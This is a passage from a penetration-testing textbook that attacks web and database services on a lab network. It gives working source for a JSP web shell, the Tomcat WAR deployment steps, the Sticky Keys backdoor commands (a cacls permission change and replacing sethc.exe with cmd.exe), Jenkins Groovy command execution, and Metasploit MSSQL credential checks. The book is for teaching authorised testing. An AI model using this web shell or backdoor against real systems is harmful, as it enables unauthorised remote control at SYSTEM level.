vulnerabilities discovered during the last phase. The overall workflow is to move through the list, gaining access to each vulnerable host. 5.1 Understanding phase 2: Focused penetration When you think about this phase from a big-picture perspective, you should start by visualizing the goal: taking complete control of the entire network. That’s what an attacker would want to do if for no other reason than to have unrestricted access to any system on the network. Your job as a penetration tester is to play the role of an attacker. I understand from years of experience that to do this, I’m going to have to access a lot of different servers until I’m fortunate enough to stumble on one that has what I need—usually, an active session from a domain administrator, or some other Deploy backdoor web shells Authentication, configuration, and patching vulnerabilities Compromise vulnerable database servers B. Compromise vulnerable web and database services that allow remote operating system command execution. C. Use weak credentials to access systems directly using remote management services native to the target operating system. D. Take advantage of publicly available and reliable exploits for missing software patches to gain a reverse shell. A. Vulnerable services that were identified during the previous phase Access remote management services (SSH, RDP, WMI, SMB... ) Exploit missing software patches Gain initial foothold into restricted network areas (Level 1) Figure 5.1 Phase 2: focused-penetration workflow 87 Understanding phase 2: Focused penetration means of gaining administrator access to the domain controller (which is usually pretty well locked down). With this end result in mind, it’s clear that the more systems we can compromise during this phase, the greater the chances that we’ll find credentials or another way to access additional systems containing credentials that allow us to access even more sys- tems (this can go around and around for quite some time) until ultimately we reach our goal. This is why the previous phase, information gathering, is so important. This is also why I cautioned you against jumping down the first rabbit hole you find. Sure, it might take you where you want to go, but it might not. In my experience, this is a numbers game. You may have an extensive list of vulnerabilities, so attacking them with a systematic approach will help you stay organized. Begin with web services, work your way through the remote management interfaces, and finish by exploiting miss- ing patches. 5.1.1 Deploying backdoor web shells In this chapter, you’re going to attack two vulnerable web services discovered during the previous phase. The first server will require you to build a simple web shell appli- cation and deploy it to the vulnerable target using the native web interface. The sec- ond server provides a script console that you will use to run OS commands. These two web services illustrate a method that can be used to compromise many other web- based applications that are often present on enterprise networks: you first gain access to the web services management interface and then use built-in functionality to deploy a backdoor web shell on your target. That backdoor web shell can then be used to control the host OS. 5.1.2 Accessing remote management services During the vulnerability-discovery portion of the information-gathering phase, you often identify default, blank, or easily guessable credentials for OS users. These cre- dentials can be the easiest route to compromising vulnerable targets because you can Additional web services found on enterprise networks The following are a few additional web services that you can search for on Google to find lots of attack vectors:  JBoss JMX Console  JBoss Application Server  Oracle GlassFish  phpMyAdmin  Hadoop HDFS Web UI  Dell iDRAC 88 CHAPTER 5 Attacking vulnerable web services use them to log directly into a system using whatever RMI the network administrators use to manage that same host. Some examples include  RDP  SSH  Windows Management Instrumentation (WMI)  Server Message Block (SMB)  Common Internet File System (CIFS)  Intelligent Platform Management Interface (IPMI) 5.1.3 Exploiting missing software patches Software exploitation is a favorite topic among newcomers to pentesting. Exploiting software vulnerabilities is kind of like “magic,” especially when you don’t fully under- stand the inner workings of an exploit. In chapter 7, I will demonstrate a single exploit that is widely publicized and extremely accurate and reliable when used against the correct targets. I’m talking about MS17-010, codenamed Eternal Blue. 5.2 Gaining an initial foothold Imagine for a moment that the Hollywood movie heist crew has managed to procure a set of maintenance keys that grant access specifically to the admin panel of a service elevator in the target facility. This elevator has many buttons that access different floors of the building, but there is an electronic keycard reader, and the buttons require authorization from the reader before taking the elevator car to the requested floor. The electronic card reader operates independently of the elevator control panel, and the maintenance keys don’t allow access to tamper with it. The heist crew does not have a keycard, but because they can open and manipu- late the elevator control panel, it’s possible they could simply reroute the circuit to bypass the keycard reader so the buttons all work when pressed. Or, with a bit of cre- ativity and some movie magic, they could install a new button on the panel that goes to whatever floor they choose and does not require keycard access. I like this option because it leaves the other buttons in the elevator unmodified. Regular users of this elevator could still access their usual floors, so the modifications to the access panel could potentially go unnoticed for some time. Wouldn’t it be better if they obtained a keycard? Definitely. Modifying the elevator access panel is risky because someone paying attention would most certainly notice a new button. That doesn’t mean they would sound the proverbial alarm, but it’s possible nonetheless. However, our attackers were not able to obtain a keycard. This is all they had to work with. 89 Compromising a vulnerable Tomcat server On a pentest, just like in this scenario, you get what you get, and you make the best of it. If it helps you sleep better, we could say our attackers modified the elevator access panel, went to the floor they were after, obtained an elevator keycard, and then reverted their modifications so future employees wouldn’t notice a change. But to ini- tially gain access to their target floor, the modification was a necessary risk. 5.3 Compromising a vulnerable Tomcat server From the perspective of your INPT, the elevator can be thought of as similar to an Apache Tomcat server. Just as the elevator brings employees (users) to different floors depending on their keycard authorization, the Tomcat server serves up multiple web applications that are deployed to different URLs, some of which have their own set of credentials independent of the Tomcat server. The individual sets of credentials protecting the web applications deployed to the Tomcat server are like the individual keycards held by employees, which grant access only to floors that a particular employee is allowed to visit. During the previous phase, we identified that the Tomcat web management interface could be accessed with default credentials. These default credentials are like the set of spare keys to the elevator admin panel. Jeff, the elevator maintenance guy, uses a set of keys to perform his day-to-day tasks, and he stores them safely in his pants pocket at all times. Unfortunately, he forgot about the spare set dangling from a hook in the publicly accessible employee break- room, where our movie villains were able to swipe them without detection. The Tomcat web GUI is exactly like the elevator access panel (OK, maybe not exactly, but you get the idea), which can be used to deploy a custom web application. In this case, we’re going to deploy a simple Jakarta Server Pages (JSP) web shell, which we can use to interact with the host OS on which the Tomcat server is listening. The JSP shell needs to be packaged in a web application archive (WAR) file before it can be deployed to the Tomcat server. Disclaimer I don’t actually know much about how elevators work. I’m assuming this attack vector has multiple flaws that wouldn’t bear fruit in the real world. The point of this illustra- tion is that it could pass for a semi-plausible scenario you might see in a movie, and it contains concepts that we’ll use in this chapter. If you are an elevator technician, or if you’ve spent time hacking elevators and are offended at the audacious suggestion that this scenario could ever actually work, then I have written this statement specifically for you in hopes that you’ll accept my sincere apologies and continue reading the chapter. I assure you, the INPT concepts covered here are valid and work in the real world. 90 CHAPTER 5 Attacking vulnerable web services 5.3.1 Creating a malicious WAR file A WAR file is a single archived (zipped) document containing the entire structure of a JSP application. To compromise the Tomcat server and deploy a web shell, you have to write a little JSP code and package it in a WAR file. If this sounds intimidating, don’t worry—it’s straightforward. Start by running the following command to create a new directory and name it webshell: ~$ mkdir webshell Change into the new directory (cd webshell), and create a file called index.jsp using your favorite text editor. Type or copy the code from listing 5.1 into the index.jsp file. NOTE You’ll need a working Java Development Kit (JDK) to package your JSP web shell into a proper WAR file. If you haven’t done so already, run sudo apt install default-jdk from your terminal to install the latest JDK on your Ubuntu VM. This code produces a simple web shell that can be accessed from a browser and used to send OS commands to the host on which the Tomcat server is listening. The result of the command is rendered in your browser. Because of how we interact with this shell, it is considered a non-interactive shell. I’ll explain more about that in the next section. This simple JSP web shell takes in a GET parameter called cmd. The value of cmd is passed into the Runtime.getRuntime().exec() method and then executed at the OS level. Whatever the OS returns is then rendered in your browser. This is the most rudi- mentary example of a non-interactive shell. <FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre> <FORM METHOD=GET ACTION='index.jsp'> Listing 5.1 Source code for index.jsp: a simple JSP web shell Grabs the GET parameter Passes the parameter to the runtime execution method Command output rendered to the browser 91 Compromising a vulnerable Tomcat server Once you’ve created the index.jsp file, you need to use the jar command to package the entire webshell directory into a standalone WAR file. You can create the WAR file with jar cvf ../webshell.war *. ~$ ls -lah total 12K drwxr-xr-x 2 royce royce 4.0K Aug 12 12:51 . drwxr-xr-x 32 royce royce 4.0K Aug 13 12:56 .. -rw-r--r-- 1 royce royce 2 Aug 12 12:51 index.jsp ~$ jar cvf ../webshell.war * added manifest adding: index.jsp(in = 2) (out= 4)(deflated -100%) 5.3.2 Deploying the WAR file Now you have a WAR file, which is analogous to the new elevator button from the movie heist scenario. The next thing you need to do is install it or deploy it (using Tomcat-speak) to the Tomcat server so you can use it to control the underlying OS (the elevator). Browse to the Tomcat server on port 8080 (figure 5.2), click the Manager App button, and log in with the default credentials you previously identified during vulnerability- discovery. The Capsulecorp Tomcat server is located at 10.0.10.203 on port 8080, and the credentials are admin/admin. The first thing to notice is the table displaying the various WAR files already deployed on this Tomcat server. If you scroll your browser just past that table to the Deploy sec- tion of the page, you’ll notice Browse and Deploy buttons located under the heading WAR File to Deploy (figure 5.3). Click the Browse button, select the webshell.war file from your Ubuntu VM, and click Deploy to deploy the WAR file to the Tomcat server. Listing 5.2 Creating a WAR file named webshell.war containing index.jsp This simple WAR file will contain only a single page, index.jsp. ../ tells the jar command to store the WAR up one directory. Tomcat server available on port 8080 Click the Manager App button to log in. Figure 5.2 An Apache Tomcat server listening on port 8080 92 CHAPTER 5 Attacking vulnerable web services NOTE Record this WAR file deployment in your engagement notes. This is a backdoor that you have installed and that you will need to remove during the post-engagement cleanup. 5.3.3 Accessing the web shell from a browser Now that the WAR file is deployed, it appears at the bottom of the table and can be accessed by either typing in the URL box of your browser or clicking the link in the first column of the table (figure 5.4). Go ahead and click the link now. Doing so directs your browser to the base page (in our case, the only page) of the WAR file, index.jsp. You should see a single input box and a Run button. From here, you can issue a single OS command, click Run, and see the result of the command rendered to your browser. For illustrative purposes, run the ipconfig /all command. This is a command you would typically run in this scenario on an engagement. Yes, it’s true that you already know the IP address of this target, but ipconfig /all shows additional infor- mation about the active directory domain (figure 5.5). If this box were dual-homed, you would also be able to detect that information with this command. NOTE On a real engagement, you might not know right away if this is a Win- dows host, so you should typically run the whoami command first. This com- mand is recognized on Windows, Linux, and Unix OSs, and the output of the command can be used to clearly determine what OS your target is running. In this case, the vulnerable Tomcat server is running Windows, so you’ll use Windows-based attacks for this system. Select WAR file, and click Deploy Figure 5.3 The WAR file Deploy section of the Tomcat manager page Click to access the web shell. Figure 5.4 The webshell is deployed and is now accessible from the menu. 93 Compromising a vulnerable Tomcat server TIP Always check every system you access to see if it’s dual-homed, meaning it has two or more network cards configured, each with a separate IP address. These types of systems are often a “bridge” into a new network subnet that you might not have had access to previously, and now the host you’ve com- promised can be used as a proxy into that subnet. In the case of the Capsule- corp Pentest network, there are no dual-homed systems. Operating system command. Output is displayed below. Figure 5.5 Running OS commands with the web shell Exercise 5.1: Deploying a malicious WAR file Using the source code from listing 5.1, create a malicious WAR file and deploy it to the Apache Tomcat server on the trunks.capsulecorp.local machine. Once it’s deployed, you should be able to browse to the index.jsp page and run OS commands like ipconfig /all, as demonstrated in figure 5.5. Issue the command to print the contents of the C:\ directory. The answer to this exercise can be found in appendix E. 94 CHAPTER 5 Attacking vulnerable web services 5.4 Interactive vs. non-interactive shells At this point, the “bad guys” are inside. The job is far from over, though, so no time to celebrate. They haven’t obtained—let alone escaped with—the crown jewels, but they are in the target facility and can move freely in some restricted areas. In the case of a pentest, the access you’ve obtained on the Tomcat server is called getting a shell. This particular type of shell is considered to be non-interactive. It’s important to make this distinction between an interactive shell and a non-interactive shell because a non- interactive shell has a few limitations. The primary limit is that you can’t use a non-interactive shell to execute multi- staged commands that require you to interact with the program being run from your command. An example would be running sudo apt install xyz, replacing xyz with the name of a real package on an Ubuntu system. Running a command like that would result in the apt program responding and prompting you to type yes or no before installing the package. This type of behavior is not possible using a non-interactive web shell, which means you need to structure the command in a way that doesn’t require user interaction. In this example, if you change the command to sudo apt install xyz –y, it works fine. It’s important to note that not all commands have a -y flag, so you often need to get creative when using a non-interactive shell, depending on what you’re trying to do. Understanding how to structure commands so they don’t require interaction is another reason why having solid command-line operation skills is essential if you want to become a successful pentester. Table 5.1 lists a few commands that are safe to run from a non-interactive shell. 5.5 Upgrading to an interactive shell Even though you can do a lot with a non-interactive shell, it’s a priority to upgrade to interactive as soon as you can. One of my favorite approaches, and also one of the most reliable ways to do this on a Windows target, is to use a popular technique known as the Sticky Keys backdoor. Table 5.1 Operating system commands that are safe for non-interactive shells Purpose Windows Linux/UNIX/Mac IP address information ipconfig /all ifconfig List running processes tasklist /v ps aux Environment variables set export List current directory dir /ah ls -lah Display file contents type [FILE] cat [FILE] Copy a file copy [SRC] [DEST] cp [SRC] [DEST] Search a file for a string type [FILE] | find /I [STRING] cat [FILE] | grep [STRING] 95 Upgrading to an interactive shell DEFINITION In the case of Sticky Keys and any other time I use the term back- door in this book, I’m referring to a (sometimes not so) secret way of accessing a computer system. Windows systems come with a handy feature called Sticky Keys, which allows you to use key combinations that would normally require the Ctrl, Alt, or Shift key by pressing only one key for each combination. I can’t honestly say that I’ve ever used this feature for day-to-day operations, but it has been handy on pentests where I want to elevate a non-interactive web shell to a fully interactive Windows command prompt. To see Sticky Keys in action, you can use rdesktop to connect to the Tomcat server with rdesktop 10.0.10.203 and press the Shift key five times while sitting at the logon screen (figure 5.6). The Sticky Keys application is executed from a binary executable file located at c:\Windows\System32\sethc.exe. To upgrade your non-interactive web shell access to this target, you will replace sethc.exe with a copy of cmd.exe, which will force Windows to give you an elevated command prompt instead of the Sticky Keys application. 5.5.1 Backing up sethc.exe Because your goal is to replace the sethc.exe binary with a copy of the cmd.exe binary, you need to create a backup of sethc.exe so that you can restore the target server to its original state in the future. To do this, paste the following command into the web shell: cmd.exe /c copy c:\windows\system32\sethc.exe ➥ c:\windows\system32\sethc.exe.backup Figure 5.7 shows that the backup was created. Now that you have a backup of sethc.exe, all you need to do is replace the original executable with a copy of cmd.exe. This will create a simple backdoor into the target, which will launch a Windows command Figure 5.6 The Sticky Keys prompt after pressing Shift five times 96 CHAPTER 5 Attacking vulnerable web services prompt when you press Shift five times. Microsoft is aware of this old trick, so the access controls around sethc.exe by default are read-only, even for local administrator accounts. As a result, if you attempted to copy cmd.exe over to sethc.exe, you would be met with an Access Denied message. To see why, run the following command in your web shell to check the permissions of sethc.exe: you’ll see that the permissions are set to R for read-only. c:\windows\system32\cacls.exe c:\windows\system32\sethc.exe c:\windows\system32\sethc.exe NT SERVICE\TrustedInstaller:F BUILTIN\Administrators:R NT AUTHORITY\SYSTEM:R BUILTIN\Users:R APPLICATION PACKAGE AUTHORITY\ALL APPLICATION ➥ PACKAGES:R 5.5.2 Modifying file ACLs with cacls.exe Because your web shell has read-only access to sethc.exe, you won’t be able to modify it by replacing it with a copy of cmd.exe. Luckily, it’s easy to change the permissions using the cacls.exe program, which is available natively in Windows. You can use a command to change the R permissions to F, which stands for full control—but first, let me explain a couple of things related to our previous discussion about interactive versus non-interactive shells. The command you’re about to run will generate a prompt for Y/N (yes or no) before applying the specified permissions to the target file. Because the JSP web shell you’re using is a non-interactive web shell, you cannot respond to the prompt, and the command will hang until it times out. You can use a nifty little trick that relies on the echo command to print a Y character and then pipe that output as the input into the cacls.exe command, effectively bypassing the prompt. Here is what it all looks like: cmd.exe /C echo Y | c:\windows\system32\cacls.exe c:\windows\system32\sethc.exe /E /G BUILTIN\Administrators:F After executing that command from your web shell, if you rerun the command to query the current permissions of sethc.exe, you can see that the BUILTIN\Administrators group has full control instead of read-only permissions. Listing 5.3 Using cacls.exe to check the file permissions on sethc.exe Creating the backup of sethc.exe Figure 5.7 Result after issuing the sethc.exe backup command Read-only, meaning you cannot overwrite the file 97 Upgrading to an interactive shell c:\windows\system32\cacls.exe c:\windows\system32\sethc.exe c:\windows\system32\sethc.exe NT SERVICE\TrustedInstaller:F BUILTIN\Administrators:F NT AUTHORITY\SYSTEM:R BUILTIN\Users:R APPLICATION PACKAGE AUTHORITY\ALL APPLICATION ➥ PACKAGES:R NOTE Record this modification to sethc.exe in your engagement notes. This is a backdoor that you have installed and that you will need to remove during the post-engagement cleanup. At this point, you can easily modify the sethc.exe file by copying cmd.exe to sethc.exe using the following command. Note the use of /Y in the command. The copy com- mand prompts with Y/N to overwrite the contents of sethc.exe, but including /Y sup- presses the prompt. If you attempted to run the command from your web shell without /Y, the response page would hang until an eventual timeout. cmd.exe /c copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /Y 1 file(s) copied. 5.5.3 Launching Sticky Keys via RDP If you head back to the RDP prompt using rdesktop 10.0.10.203 and activate sticky Keys by pressing Shift five times, you will be greeted by a fully interactive SYSTEM-level Windows command prompt (figure 5.8). This prompt executes with SYSTEM-level privileges (slightly higher than administrator) because you are in a process called win- logon.exe. The winlogon.exe process is what renders the logon screen you see before you enter your credentials in a Windows system. Because you haven’t yet authenticated to the OS, you don’t have any permissions. Therefore, winlogon.exe runs as SYSTEM, and when you trigger Sticky Keys (which is now cmd.exe), it also runs as SYSTEM. Neat, right? By now, you might be asking yourself, What if the target does not have RDP enabled? The bad news is that, without RDP, the Sticky Keys backdoor is useless. You would have to rely on another method of upgrading to a fully interactive shell. We will cover one such method in chapter 8. The good news is that, Windows system adminis- trators love RDP, and it’s usually enabled. Listing 5.4 Rechecking the file permissions on sethc.exe Listing 5.5 Replacing sethc.exe with cmd.exe The permissions for BUILTIN\Administrators have changed to F for full control. 98 CHAPTER 5 Attacking vulnerable web services As a recap, in case anything in this section was unclear, the following sequential steps are required to set up the Sticky Keys backdoor: 1 Create a backup of the sethc.exe file. You do this so you can un-backdoor (I may have just invented a word) the target during cleanup, which is something we’ll discuss further in the last part of the book. 2 Replace the original sethc.exe binary with a copy of cmd.exe, effectively com- pleting the backdoor. In modern Windows OSs, you first have to modify the access control lists (ACLs) of the sethc.exe file. You do so by using the cacls.exe program to grant full access to the BUILTIN\Administrators group on the sethc.exe file. 3 Navigate to an RDP prompt using rdesktop (or your preferred RDP client), and press the Shift key five times to access a fully interactive command prompt. I’ve also written a detailed blog post covering this attack vector, which you can check out if you’re so inclined: http://mng.bz/mNGa. Figure 5.8 SYSTEM-level command prompt instead of Sticky Keys Getting back to the Hollywood movie heist crew To attempt to tie this back to the elevator analogy, after accessing the restricted floor with the newly installed elevator button, the heist crew was able to locate a spare keycard that could freely access the floor as well as any doors on that floor. If they’re super-sneaky criminals who don’t want to get caught, they should probably head back to the elevator and remove any modifications they made. After all, now that they have a spare keycard, they can come and go as they please. You can do the same thing with the Tomcat web shell simply by navigating to the Man- ager application, scrolling down to the web shell WAR, and clicking the Undeploy button. 99 Compromising a vulnerable Jenkins server TIP Be sure to make a note of the systems on which you set up this backdoor, and notify your client about them after your engagement. Leaving this back- door open for longer than necessary exposes your client to additional risk, which is not what they hired you for. Pentesting is very much a balancing act. You could make the argument that performing this backdoor at all is expos- ing your client to additional risk, and you wouldn’t be 100% wrong. However, I always tell clients that it’s better for me (a good guy pretending to be bad) to do something naughty on their network and then tell them how I did it than for a real bad guy to break in and not tell them anything. 5.6 Compromising a vulnerable Jenkins server The Tomcat server you just used to gain an initial foothold into the network is not the only web-based attack vector discovered in the last chapter. You also noted a Jenkins server with an easily guessable password. There is a reliable remote code execution method baked right into the Jenkins platform in the form of the Groovy script console plugin, which is enabled by default. In the previous section, you had to create a simple JSP web shell and deploy it to the target Tomcat server. With Jenkins, all you have to do is use the right Groovy script to execute OS commands. Figure 5.9 shows the Groovy Script Console page. To access it, navigate to the /script directory using a browser. Figure 5.9 The Jenkins Groovy scrSipt Console page 100 CHAPTER 5 Attacking vulnerable web services DEFINITION According to Wikipedia, Groovy Script is a Java-syntax-compatible object-oriented programming language developed by the Apache Software Foundation. 5.6.1 Groovy script console execution Groovy Script is utilized heavily throughout Jenkins, and it can also be used to execute OS commands. That’s not surprising, considering that it’s designed for the Java plat- form. Here is an example of executing the ipconfig /all command using Groovy Script. def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'ipconfig /all'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" The output from the command is rendered under the Groovy Script input box (figure 5.10). This is essentially a built-in non-interactive web shell. You could use the same Sticky Keys method explained in the previous section to upgrade this access to a fully interactive Windows command prompt. Listing 5.6 Execute ipconfig /all using Groovy script Groovy Script lets you call .execute() on a string containing a valid OS command. Figure 5.10 Executing OS commands using Groovy Script 101 Summary For a more detailed walkthrough of using Jenkins as a means of initial level-one access, feel free to read this blog post that I wrote in 2014: http://mng.bz/5pgO. Summary  The purpose of the focused-penetration phase is to gain access to as many vul- nerable (level one) targets as possible.  Web applications often contain remote code execution vectors that can be used to gain an initial foothold.  Apache Tomcat servers can be used to deploy a custom backdoor web shell JSP WAR file.  Jenkins servers can be used to execute arbitrary Groovy Script and control a vul- nerable target.  A non-interactive shell has limitations about what commands can be executed, and it should be upgraded when possible.  Sticky Keys can be used to backdoor Windows systems as long as RDP is open. 102 Attacking vulnerable database services If you’ve made it this far on an internal network penetration test (INTP), then you’re probably feeling pretty successful, and you should be—you’ve already man- aged to compromise a few hosts. In fact, the few hosts you’ve gained access to thus far may be all you need to elevate your access to the level of owning the entire net- work. Remember, though, that the purpose of phase 2, focused penetration, is to compromise as many level-one hosts as you can. DEFINITION As a reminder, level-one hosts are systems with direct access vul- nerabilities that you can use to gain remote control of the vulnerable target. This chapter covers  Controlling MSSQL Server using mssql-cli  Enabling the xp_cmdshell stored procedure  Copying Windows registry hive files using reg.exe  Creating an anonymous network share  Extracting Windows account password hashes using Creddump 103 Compromising Microsoft SQL Server In this chapter, we shift focus from web services to databases services—in this case, the popular Microsoft SQL Server service that you will most certainly encounter on most engagements throughout your career. Database services are a logical progression from web services, based on the fact that the two are frequently paired on enterprise networks. If you’ve managed to compromise a web application such as Apache Tomcat or Jenkins, it isn’t far-fetched to expect that you will be able to uncover a configuration file con- taining credentials to a database server that the web application is intended to talk to. In the case of the Capsulecorp Pentest network, it was possible to guess the creden- tials of at least one database service during the vulnerability-discovery sub-phase just because the system administrator used a weak password. Believe it or not, this is quite common on large enterprise networks, even for Fortune 500 companies. Let’s see how far we can compromise this host using the discovered MSSQL credentials. 6.1 Compromising Microsoft SQL Server To use a Microsoft SQL server as a means to gain remote access to a target host, you first have to obtain a valid set of credentials for the database server. If you recall, during the information-gathering phase, a valid set of credentials were identified for the sa account on 10.0.10.201; the password for this account (which should be recorded in your engagement notes) was Password1. Let’s quickly double-check those credentials before attacking this database server with the mssql_login auxiliary mod- ule in Metasploit. TIP If you don’t have well-organized engagement notes, then you’re doing this all wrong. I realize I’ve already mentioned this, but it’s worth repeating. By now, you’ve seen first-hand that this process is heavily layered, and phases (and sub-phases) build off of each other. There is absolutely no way to do this type of work without taking copious notes. If you are productive using Mark- down, then I highly recommend something like Typora. If you are one of those super-organized people who likes to break projects into categories and subcategories with tags and color coordination, then you’ll be more comfort- able with something like Evernote. Fire up the msfconsole, load the mssql_login module with use auxiliary/scanner/ mssql/mssql_login, and then specify the IP address of the target MSSQL server with set rhosts 10.0.10.201. Set the username and password, respectively, with set username sa and set password Password1. When you’re ready, you can launch the module with the run command. The output line prefaced with [+] is an indication of a valid login to the MSSQL server. msf5 > use auxiliary/scanner/mssql/mssql_login msf5 auxiliary(scanner/mssql/mssql_login) > msf5 auxiliary(scanner/mssql/mssql_login) > set rhosts 10.0.10.201 rhosts => 10.0.10.201 Listing 6.1 Verifying that the MSSQL credentials are valid Loads the mssql_login module Sets the target IP address of the MSSQL server 104 CHAPTER 6 Attacking vulnerable database services msf5 auxiliary(scanner/mssql/mssql_login) > set username sa username => sa msf5 auxiliary(scanner/mssql/mssql_login) > set password Password1 password => Password1 msf5 auxiliary(scanner/mssql/mssql_login) > run [*] 10.0.10.201:1433 - 10.0.10.201:1433 - MSSQL – Starting authentication scanner. [+] 10.0.10.201:1433 - 10.0.10.201:1433 - Login Successful: WORKSTATION\sa:Password1 [*] 10.0.10.201:1433 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/mssql/mssql_login) > Now that you have identified a valid set of database credentials, there are two main attack vectors that you might want to try while conducting your pentest. This first is to simply enumerate the database using raw SQL statements to see what it contains and whether you (as an attacker) can obtain any sensitive information from the database tables. Sensitive information might include the following:  Usernames  Passwords  Personally identifiable information (PII)  Financial information  Network diagrams Whether you choose this route is entirely dependent on your engagement scope and attack objectives. For the sake of the Capsulecorp engagement, we will be more inter- ested in the second attack vector: trying to gain control of the host-level OS on which the database server is listening. Because this is a Microsoft SQL server, you need only look to the xp_cmdshell stored procedure to accomplish the goal of running OS com- mands and ultimately taking control of this system. It will be helpful to first have a modest understanding of stored procedures and how they work. 6.1.1 MSSQL stored procedures Think of stored procedures as you would think of methods or functions in computer programming. If I’m a database administrator and my day-to-day operations involve running complex SQL queries, then I probably want to store some of those queries in Specifies the username Specifies the password The credentials are valid. Why rhosts instead of rhost? The auxiliary scanner modules in Metasploit take in the rhosts variable. This variable can be set to either a range of IP addresses, such as 10.0.10.201-210; a single IP address, as we’re using in the example; or the path to a file containing one or more IP addresses or IP address ranges, each on its own line—something like file: /home/pentest/ips.txt. 105 Compromising Microsoft SQL Server a function or method that I can run over and over again by calling the name of the function rather than typing the whole query each time I want to use it. In MSSQL-speak, these functions or methods are called stored procedures. As luck would have it, MSSQL comes with a helpful set of premade stored procedures called system stored procedures, which are intended to enhance the capabilities of MSSQL and, in some cases, allow you to interact with the host-level OS. (If you’re interested in learning more about system stored procedures, check out the Microsoft Docs page at http://mng.bz/6Aee.) One particular system stored procedure, xp_cmdshell, takes an OS command as an argument, runs the command in the context of the user account that is running the MSSQL server, and then displays the output of the command in a raw SQL response. Due to the abuse of this stored procedure by hackers (and pentesters) over the years, Microsoft has opted to disable it by default. You can check to see if it’s enabled on your target server using the mssql_enum Metasploit module. 6.1.2 Enumerating MSSQL servers with Metasploit In the msfconsole, switch from the mssql_login module to the mssql_enum module with use auxiliary/scanner/mssql/mssql_enum, and specify the rhosts, username, and password variables just as you did previously. Run the module to see information about the server’s configuration. Toward the top of the module output, you will see the results for xp_cmdshell. In this case, this stored procedure is not enabled and can- not be used to execute OS commands. msf5 auxiliary(scanner/mssql/mssql_login) > use auxiliary/admin/mssql/mssql_enum msf5 auxiliary(admin/mssql/mssql_enum) > set rhosts 10.0.10.201 rhosts => 10.0.10.201 msf5 auxiliary(admin/mssql/mssql_enum) > set username sa username => sa msf5 auxiliary(admin/mssql/mssql_enum) > set password Password1 password => Password1 msf5 auxiliary(admin/mssql/mssql_enum) > run [*] Running module against 10.0.10.201 [*] 10.0.10.201:1433 - Running MS SQL Server Enumeration... [*] 10.0.10.201:1433 - Version: [*] Microsoft SQL Server 2014 (SP3) (KB4022619) - 12.0.6024.0 (X64) [*] Sep 7 2018 01:37:51 [*] Copyright (c) Microsoft Corporation [*] Enterprise Evaluation Edition (64-bit) on Windows NT 6.3 <X64> (Build 14393: ) (Hypervisor) [*] 10.0.10.201:1433 - Configuration Parameters: [*] 10.0.10.201:1433 - C2 Audit Mode is Not Enabled [*] 10.0.10.201:1433 - xp_cmdshell is Not Enabled [*] 10.0.10.201:1433 - remote access is Enabled [*] 10.0.10.201:1433 - allow updates is Not Enabled Listing 6.2 Checking whether xp_cmdshell is enabled on the MSSQL server xp_cmdshell is not currently enabled. 106 CHAPTER 6 Attacking vulnerable database services [*] 10.0.10.201:1433 - Database Mail XPs is Not Enabled [*] 10.0.10.201:1433 - Ole Automation Procedures are Not Enabled [*] 10.0.10.201:1433 - Databases on the server: [*] 10.0.10.201:1433 - Database name:master [*] 10.0.10.201:1433 - Database Files for master: [*] 10.0.10.201:1433 - C:\Program Files\Microsoft SQL [*] 10.0.10.201:1433 - C:\Program Files\Microsoft SQL [*] 10.0.10.201:1433 - sp_replincrementlsn [*] 10.0.10.201:1433 - Instances found on this server: [*] 10.0.10.201:1433 - MSSQLSERVER [*] 10.0.10.201:1433 - Default Server Instance SQL Server Service is running under the privilege of: [*] 10.0.10.201:1433 - NT Service\MSSQLSERVER [*] Auxiliary module execution completed msf5 auxiliary(admin/mssql/mssql_enum) > NOTE The mssql_exec Metasploit module checks to see whether xp_cmdshell is enabled and, if it isn’t, enables it for you automatically. This is super cool, but I want you to understand how to do it yourself. You might one day find yourself accessing an MSSQL server indirectly by taking advantage of an SQL-injection vulnerability, which is another topic for another book. In that case, though, it would be easier to manually enable xp_cmdshell, so that’s what you learn to do next. 6.1.3 Enabling xp_cmdshell Even if the xp_cmdshell stored procedure is disabled, as long as you have the sa account (or another account with administrator access to the database server), you can enable it with a couple of MSSQL commands. One of the easiest ways to accom- plish this is to use an MSSQL client to connect directly to the database server and issue the commands one by one. There is a fantastic command-line interface (CLI) called mssql-cli, which is written in Python and can be installed using pip install mssql-cli. ~$ pip install mssql-cli Collecting mssql-cli Using cached https://files.pythonhosted.org/packages/03/57/84ef941141765ce8e32b9c1d2259 00bea429f0aca197ca56504ec482da5/mssql_cli-0.16.0-py2.py3-none manylinux1_x86_64.whl Requirement already satisfied: sqlparse<0.3.0,>=0.2.2 in /usr/local/lib/python2.7/dist-packages (from mssql-cli) (0.2.4) Collecting configobj>=5.0.6 (from mssql-cli) Requirement already satisfied: enum34>=1.1.6 in ./.local/lib/python2.7/site-packages (from mssql-cli) (1.1.6) Collecting applicationinsights>=0.11.1 (from mssql-cli) Using cached https://files.pythonhosted.org/packages/a1/53/234c53004f71f0717d8acd37876e Listing 6.3 Installing mssql-cli with pip Installing mssql-cli using pip 107 Compromising Microsoft SQL Server b65c121181167057b9ce1b1795f96a0/applicationinsights-0.11.9-py2.py3-none- any.whl .... [OUTPUT TRIMMED] .... Collecting backports.csv>=1.0.0 (from cli-helpers<1.0.0,>=0.2.3->mssql-cli) Using cached https://files.pythonhosted.org/packages/8e/26/a6bd68f13e0f38fbb643d6e497fc 462be83a0b6c4d43425c78bb51a7291/backports.csv-1.0.7-py2.py3-none-any.whl Installing collected packages: configobj, applicationinsights, Pygments, humanize, wcwidth, prompt-toolkit, terminaltables, backports.csv, cli helpers, mssql-cli Successfully installed Pygments-2.4.2 applicationinsights-0.11.9 backports.csv-1.0.7 cli-helpers-0.2.3 configobj-5.0.6 humanize-0.5.1 mssql cli-0.16.0 prompt-toolkit-2.0.9 terminaltables-3.1.0 wcwidth-0.1.7 You can find additional documentation about this project on the GitHub page: https:// github.com/dbcli/mssql-cli. Once you have it installed, you can connect directly to the target 